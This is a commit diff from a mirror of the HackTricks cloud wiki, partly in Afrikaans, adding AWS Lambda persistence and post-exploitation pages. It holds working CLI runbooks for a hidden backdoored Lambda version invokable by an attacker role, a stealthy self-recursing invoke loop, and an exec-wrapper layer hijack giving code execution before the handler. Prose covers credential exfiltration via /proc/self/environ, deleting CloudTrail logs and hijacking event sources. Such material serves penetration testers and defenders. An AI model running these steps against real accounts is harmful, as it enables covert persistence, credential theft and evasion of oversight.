mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 20:54:14 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -1,64 +1,91 @@
|
||||
# AWS - Lambda Volharding
|
||||
# AWS - Lambda Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda Laag Volharding
|
||||
### Lambda Layer Persistence
|
||||
|
||||
Dit is moontlik om **'n laag in te voer/terug te deurdring om arbitrêre kode uit te voer** wanneer die lambda op 'n stil manier uitgevoer word:
|
||||
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda Uitbreiding Volharding
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Deur Lambda Lae te misbruik, is dit ook moontlik om uitbreidings te misbruik en in die lambda volharding te hê, maar ook versoeke te steel en te wysig.
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### Deur hulpbronbeleide
|
||||
### Via resource policies
|
||||
|
||||
Dit is moontlik om toegang tot verskillende lambda aksies (soos aanroep of kode opdateer) aan eksterne rekeninge te verleen:
|
||||
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Weergawes, Aliasse & Gewigte
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
'n Lambda kan **verskillende weergawes** hê (met verskillende kode in elke weergawe).\
|
||||
Dan kan jy **verskillende aliasse met verskillende weergawes** van die lambda skep en verskillende gewigte aan elkeen toeken.\
|
||||
Op hierdie manier kan 'n aanvaller 'n **terugdeur weergawe 1** en 'n **weergawe 2 met slegs die wettige kode** skep en **slegs die weergawe 1 in 1%** van die versoeke uitvoer om stil te bly.
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
|
||||
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Weergawe Terugdeur + API Gateway
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Kopieer die oorspronklike kode van die Lambda
|
||||
2. **Skep 'n nuwe weergawe wat die** oorspronklike kode terugdeur (of net met kwaadwillige kode). Publiseer en **ontplooi daardie weergawe** na $LATEST
|
||||
1. Roep die API-gateway wat met die lambda verband hou aan om die kode uit te voer
|
||||
3. **Skep 'n nuwe weergawe met die oorspronklike kode**, Publiseer en ontplooi daardie **weergawe** na $LATEST.
|
||||
1. Dit sal die terugdeurkode in 'n vorige weergawe verberg
|
||||
4. Gaan na die API Gateway en **skep 'n nuwe POST-metode** (of kies enige ander metode) wat die terugdeur weergawe van die lambda sal uitvoer: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Let op die finale :1 van die arn **wat die weergawe van die funksie aandui** (weergawe 1 sal die terugdeur een in hierdie scenario wees).
|
||||
5. Kies die POST-metode wat geskep is en in Aksies kies **`Ontplooi API`**
|
||||
6. Nou, wanneer jy **die funksie via POST aanroep, sal jou Terugdeur** geaktiveer word
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
|
||||
### Cron/Event aktuator
|
||||
### Cron/Event actuator
|
||||
|
||||
Die feit dat jy **lambda funksies kan laat loop wanneer iets gebeur of wanneer 'n tyd verbygaan** maak lambda 'n goeie en algemene manier om volharding te verkry en opsporing te vermy.\
|
||||
Hier is 'n paar idees om jou **teenwoordigheid in AWS meer stil te maak deur lambdas** te skep.
|
||||
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
|
||||
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
|
||||
|
||||
- Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
- Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
- Every time new cloudtrail logs are generated, delete/alter them
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-controlled wrapper script before the runtime/handler starts. Deliver the wrapper via a Lambda Layer at `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, and then invoke the function. The wrapper runs inside the function runtime process, inherits the function execution role, and finally `exec`s the real runtime so the original handler still executes normally.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
|
||||
|
||||
This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
- Elke keer as 'n nuwe gebruiker geskep word, genereer lambda 'n nuwe gebruikerssleutel en stuur dit na die aanvaller.
|
||||
- Elke keer as 'n nuwe rol geskep word, gee lambda aanneem rol toestemmings aan gecompromitteerde gebruikers.
|
||||
- Elke keer as nuwe cloudtrail logs gegenereer word, verwyder/wysig hulle
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Opsomming
|
||||
|
||||
Skep 'n versteekte Lambda-weergawe met aanvallerslogika en scope 'n resource-gebaseerde beleid na daardie spesifieke weergawe (of alias) deur die `--qualifier` parameter in `lambda add-permission` te gebruik. Ken slegs `lambda:InvokeFunction` toe op `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` aan 'n aanvaller-prinsipaal. Normale aanroepe via die funksienaam of primêre alias bly onaangeraak, terwyl die aanvaller die backdoored weergawe-ARN direk kan aanroep.
|
||||
|
||||
Dit is meer stealthy as om 'n Function URL bloot te stel en verander nie die primêre verkeer-alias nie.
|
||||
|
||||
## Vereiste Permissies (aanvaller)
|
||||
|
||||
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
|
||||
- `lambda:AddPermission` (om 'n version-geskoorde resource-beleid by te voeg)
|
||||
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (om 'n aanvaller-prinsipaal te simuleer)
|
||||
|
||||
## Aanvalstappe (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Publiseer versteekte weergawe, voeg qualifier-geskoorde permissie by, roep aan as aanvaller</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
|
||||
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
|
||||
|
||||
# 1) Build a small backdoor handler and publish as a new version
|
||||
cat > bdoor.py <<PY
|
||||
import json, os, boto3
|
||||
|
||||
def lambda_handler(e, c):
|
||||
ident = boto3.client(sts).get_caller_identity()
|
||||
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
|
||||
PY
|
||||
zip bdoor.zip bdoor.py
|
||||
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
|
||||
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
echo "Published version: $VER ($VER_ARN)"
|
||||
|
||||
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
|
||||
ATTACK_ROLE_NAME=ht-version-invoker
|
||||
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
|
||||
cat > /tmp/invoke-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Action": ["lambda:InvokeFunction"],
|
||||
"Resource": ["$VER_ARN"]
|
||||
}]
|
||||
}
|
||||
POL
|
||||
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
|
||||
|
||||
# Add resource-based policy scoped to the version (Qualifier)
|
||||
aws lambda add-permission \
|
||||
--function-name "$TARGET_FN" \
|
||||
--qualifier "$VER" \
|
||||
--statement-id ht-version-backdoor \
|
||||
--action lambda:InvokeFunction \
|
||||
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
|
||||
--region $REGION
|
||||
|
||||
# 3) Assume the attacker role and invoke only the qualified version
|
||||
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
|
||||
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
|
||||
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
|
||||
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
|
||||
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
|
||||
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
|
||||
cat /tmp/ver-out.json
|
||||
|
||||
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
|
||||
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impak
|
||||
|
||||
- Verleen 'n stil agterdeur om 'n verborge weergawe van die funksie aan te roep sonder om die primêre alias te wysig of 'n Function URL bloot te stel.
|
||||
- Beperk blootstelling tot slegs die gespesifiseerde weergawe/alias via die hulpbron-gebaseerde beleid `Qualifier`, wat die opsporingsoppervlak verminder terwyl dit betroubare aanroeping vir die aanvaller-prinsipaal behou.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,92 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
Misbruik Lambda asynchronous destinations saam met die Recursion-konfigurasie om 'n funksie aanhoudend self te laat herroep sonder 'n eksterne skeduleerder (geen EventBridge, cron, ens.). Standaard beëindig Lambda rekursiewe lusse, maar deur die recursion config op Allow te stel word dit weer aangeskakel. Destinations lewer aan die dienskant vir async invokes, sodat 'n enkele seed invoke 'n stil, code-free hartklop/backdoor-kanaal skep. Opsioneel beperk met reserved concurrency om geraas laag te hou.
|
||||
|
||||
Aantekeninge
|
||||
- Lambda laat nie toe om die funksie direk as sy eie destination te konfigureer nie. Gebruik 'n function alias as die destination en laat die execution role toe om daardie alias te invoke.
|
||||
- Minimum permissions: vermoë om die teikenfunksie se event invoke config en recursion config te lees/op te dateer, 'n version te publish en 'n alias te bestuur, en die funksie se execution role policy op te dateer om lambda:InvokeFunction op die alias toe te laat.
|
||||
|
||||
## Vereistes
|
||||
- Region: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Stappe
|
||||
|
||||
1) Kry die function ARN en huidige recursion-instelling
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) Publiseer 'n weergawe en skep/werk 'n alias (wat as self-bestemming gebruik word)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
else
|
||||
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) Laat toe dat die funksie-uitvoeringsrol die alias kan aanroep (vereis deur Lambda Destinations→Lambda)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
cat > /tmp/invoke-self-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Resource": "${ALIAS_ARN}"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) Konfigureer async destination na die alias (self via alias) en skakel retries uit
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
|
||||
--maximum-retry-attempts 0 \
|
||||
--region $REGION
|
||||
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) Laat rekursiewe lusse toe
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) Saai 'n enkele asynchronous invoke
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) Let op deurlopende aanroepe (voorbeelde)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) Opsionele stealth throttle
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Opschoning
|
||||
Breek die loop en verwyder persistence.
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
|
||||
# Optional: delete alias and remove the inline policy when finished
|
||||
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Impak
|
||||
- Enkele async invoke veroorsaak dat Lambda homself voortdurend weer-invoke sonder 'n eksterne skeduleerder, wat stealthy persistence/heartbeat moontlik maak. Reserved concurrency kan geraas beperk tot 'n enkele warm execution.
|
||||
@@ -0,0 +1,94 @@
|
||||
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Opsomming
|
||||
|
||||
Misbruik die omgewingveranderlike `AWS_LAMBDA_EXEC_WRAPPER` om 'n aanvaller-gekontroleerde wrapper-skrip uit te voer voordat die runtime/handler begin. Lewer die wrapper via 'n Lambda Layer by `/opt/bin/htwrap`, stel `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, en roep dan die funksie aan. Die wrapper hardloop binne die funksie se runtime-proses, erf die funksie-uitvoeringsrol, en voer uiteindelik `exec` op die werklike runtime uit sodat die oorspronklike handler normaalweg voortgaan om te werk.
|
||||
|
||||
> [!WARNING]
|
||||
> Hierdie tegniek gee kode-uitvoering in die teiken Lambda sonder om sy bronkode of rol te verander en sonder om `iam:PassRole` te benodig. Jy het slegs die vermoë nodig om die funksie-konfigurasie op te dateer en 'n layer te publiseer/te heg.
|
||||
|
||||
## Vereiste Toestemmings (aanvaller)
|
||||
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:InvokeFunction` (of deur 'n bestaande gebeurtenis te trigger)
|
||||
- `lambda:ListFunctions`, `lambda:ListLayers`
|
||||
- `lambda:PublishLayerVersion` (selfde rekening) en opsioneel `lambda:AddLayerVersionPermission` as 'n cross-account/public layer gebruik word
|
||||
|
||||
## Wrapper Skrip
|
||||
|
||||
Plaas die wrapper by `/opt/bin/htwrap` in die layer. Dit kan pre-handler logika uitvoer en moet eindig met `exec "$@"` om aan die werklike runtime te koppel.
|
||||
```bash
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# Pre-handler actions (runs in runtime process context)
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json, os
|
||||
try:
|
||||
ident = boto3.client('sts').get_caller_identity()
|
||||
print('[ht] sts identity:', json.dumps(ident))
|
||||
except Exception as e:
|
||||
print('[ht] sts error:', e)
|
||||
PY
|
||||
# Chain to the real runtime
|
||||
exec "$@"
|
||||
```
|
||||
## Aanvalstappe (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Publiseer laag, heg aan teikenfunksie, stel wrapper, roep aan</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# 1) Package wrapper at /opt/bin/htwrap
|
||||
mkdir -p layer/bin
|
||||
cat > layer/bin/htwrap <<'WRAP'
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json
|
||||
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
|
||||
PY
|
||||
exec "$@"
|
||||
WRAP
|
||||
chmod +x layer/bin/htwrap
|
||||
(zip -qr htwrap-layer.zip layer)
|
||||
|
||||
# 2) Publish the layer
|
||||
LAYER_ARN=$(aws lambda publish-layer-version \
|
||||
--layer-name ht-exec-wrapper \
|
||||
--zip-file fileb://htwrap-layer.zip \
|
||||
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
|
||||
--query LayerVersionArn --output text --region "$REGION")
|
||||
|
||||
echo "$LAYER_ARN"
|
||||
|
||||
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
|
||||
aws lambda update-function-configuration \
|
||||
--function-name "$TARGET_FN" \
|
||||
--layers "$LAYER_ARN" \
|
||||
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
|
||||
--region "$REGION"
|
||||
|
||||
# Wait for update to finish
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
|
||||
|
||||
# 4) Invoke and verify via CloudWatch Logs
|
||||
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impak
|
||||
|
||||
- Pre-handler-kode-uitvoering in die Lambda runtime-konteks wat die funksie se bestaande uitvoeringsrol gebruik.
|
||||
- Geen veranderinge aan die funksiekode of rol nodig nie; dit werk oor algemene beheerde runtimes (Python, Node.js, Java, .NET).
|
||||
- Maak persistence, credential access (bv. STS), data exfiltration en runtime tampering moontlik voordat die handler begin.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,32 +4,82 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Exfiltreer Lambda Kredensiale
|
||||
### Exfilrtate Lambda Credentials
|
||||
|
||||
Lambda gebruik omgewingsveranderlikes om kredensiale tydens uitvoering in te spuit. As jy toegang tot hulle kan kry (deur `/proc/self/environ` te lees of die kwesbare funksie self te gebruik), kan jy dit self gebruik. Hulle bestaan in die standaard veranderlike name `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, en `AWS_ACCESS_KEY_ID`.
|
||||
Lambda gebruik environment variables om credentials tydens runtime in te voeg. As jy toegang daartoe kan kry (deur `/proc/self/environ` te lees of die kwesbare funksie self te gebruik), kan jy hulle self gebruik. Hulle leef in die default variable names `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`.
|
||||
|
||||
Standaard sal hierdie toegang hê om na 'n cloudwatch loggroep te skryf (die naam waarvan in `AWS_LAMBDA_LOG_GROUP_NAME` gestoor is), sowel as om arbitrêre loggroepe te skep, maar lambda funksies het dikwels meer toestemmings toegeken op grond van hul beoogde gebruik.
|
||||
By default, these will have access to write to a cloudwatch log group (the name of which is stored in `AWS_LAMBDA_LOG_GROUP_NAME`), as well as to create arbitrary log groups, however lambda functions frequently have more permissions assigned based on their intended use.
|
||||
|
||||
### Steel Ander se Lambda URL Versoeke
|
||||
### Steal Others Lambda URL Requests
|
||||
|
||||
As 'n aanvaller op een of ander manier RCE binne 'n Lambda kan kry, sal hy in staat wees om ander gebruikers se HTTP versoeke na die lambda te steel. As die versoeke sensitiewe inligting bevat (koekies, kredensiale...), sal hy in staat wees om dit te steel.
|
||||
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Steel Ander se Lambda URL Versoeke & Uitbreidings Versoeke
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
|
||||
Deur Lambda Lae te misbruik, is dit ook moontlik om uitbreidings te misbruik en in die lambda te volhard, maar ook versoeke te steel en te wysig.
|
||||
Deur Lambda Layers te misbruik is dit ook moontlik om extensions te misbruik en in die Lambda te bly voortbestaan, sowel as versoeke te steel en te wysig.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
Forceer 'n Lambda-funksie uit 'n beperkte VPC deur sy konfigurasie by te werk met 'n leë VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Die funksie sal dan in die Lambda-managed networking plane loop, herwin uitgaande internettoegang en egress controls wat deur private VPC subnets without NAT afgedwing word omseil.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
Benut `lambda:PutRuntimeManagementConfig` om 'n funksie aan 'n spesifieke runtime-weergawe te pin (Manual) of om opdaterings te vries (FunctionUpdate). Dit behou kompatibiliteit met malicious layers/wrappers en kan die funksie op 'n verouderde, kwesbare runtime hou om exploitation en long-term persistence te vergemaklik.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
Benut `lambda:UpdateFunctionConfiguration` se gevorderde logging controls om 'n funksie se logs na 'n aanvaller-gekose CloudWatch Logs log group te herlei. Dit werk sonder om kode of die execution role te verander (die meeste Lambda roles sluit reeds `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). As die funksie secrets/request bodies uitdruk of crash met stack traces, kan jy dit uit die nuwe log group versamel.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Skakel 'n private Lambda Function URL na 'n publieke ongeauthentiseerde endpoint deur die Function URL AuthType na NONE te stel en 'n resource-based policy aan te heg wat lambda:InvokeFunctionUrl aan almal toeken. Dit maak anonieme invocation van interne funksies moontlik en kan sensitiewe backend-operasies openbaar maak.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
Benut `UpdateEventSourceMapping` om die target Lambda function van 'n bestaande Event Source Mapping (ESM) te verander sodat rekords van DynamoDB Streams, Kinesis, of SQS aan 'n aanvaller-beheerde funksie gestuur word. Dit lei live data stilweg af sonder om producers of die oorspronklike funksiekode aan te raak.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-target-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
Benut `lambda:UpdateFunctionConfiguration` om 'n bestaande EFS Access Point aan 'n Lambda te heg, en deploy dan eenvoudige kode wat lêers van die gemounte pad lys/lees om gedeelde secrets/config te exfiltrate wat die funksie voorheen nie kon bereik nie.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
|
||||
|
||||
Misbruik `lambda:UpdateFunctionConfiguration` om 'n bestaande EFS Access Point aan 'n Lambda te heg, en ontplooi daarna eenvoudige kode wat lêers vanaf die gemonteerde pad lys/lees om shared secrets/config te exfiltrate wat die funksie voorheen nie kon bereik nie.
|
||||
|
||||
## Vereistes
|
||||
- Permissies op die slagoffer-rekening/prinsipaal:
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:ListFunctions` (om funksies te vind)
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `lambda:InvokeFunction`
|
||||
- `efs:DescribeMountTargets` (om te bevestig dat mount targets bestaan)
|
||||
- Omgewingsveronderstellings:
|
||||
- Teiken-Lambda is VPC-enabled en sy subnets/SGs kan die EFS mount target SG oor TCP/2049 bereik (bv. die rol het AWSLambdaVPCAccessExecutionRole en VPC-roete laat dit toe).
|
||||
- Die EFS Access Point is in dieselfde VPC en het mount targets in die AZs van die Lambda-subnets.
|
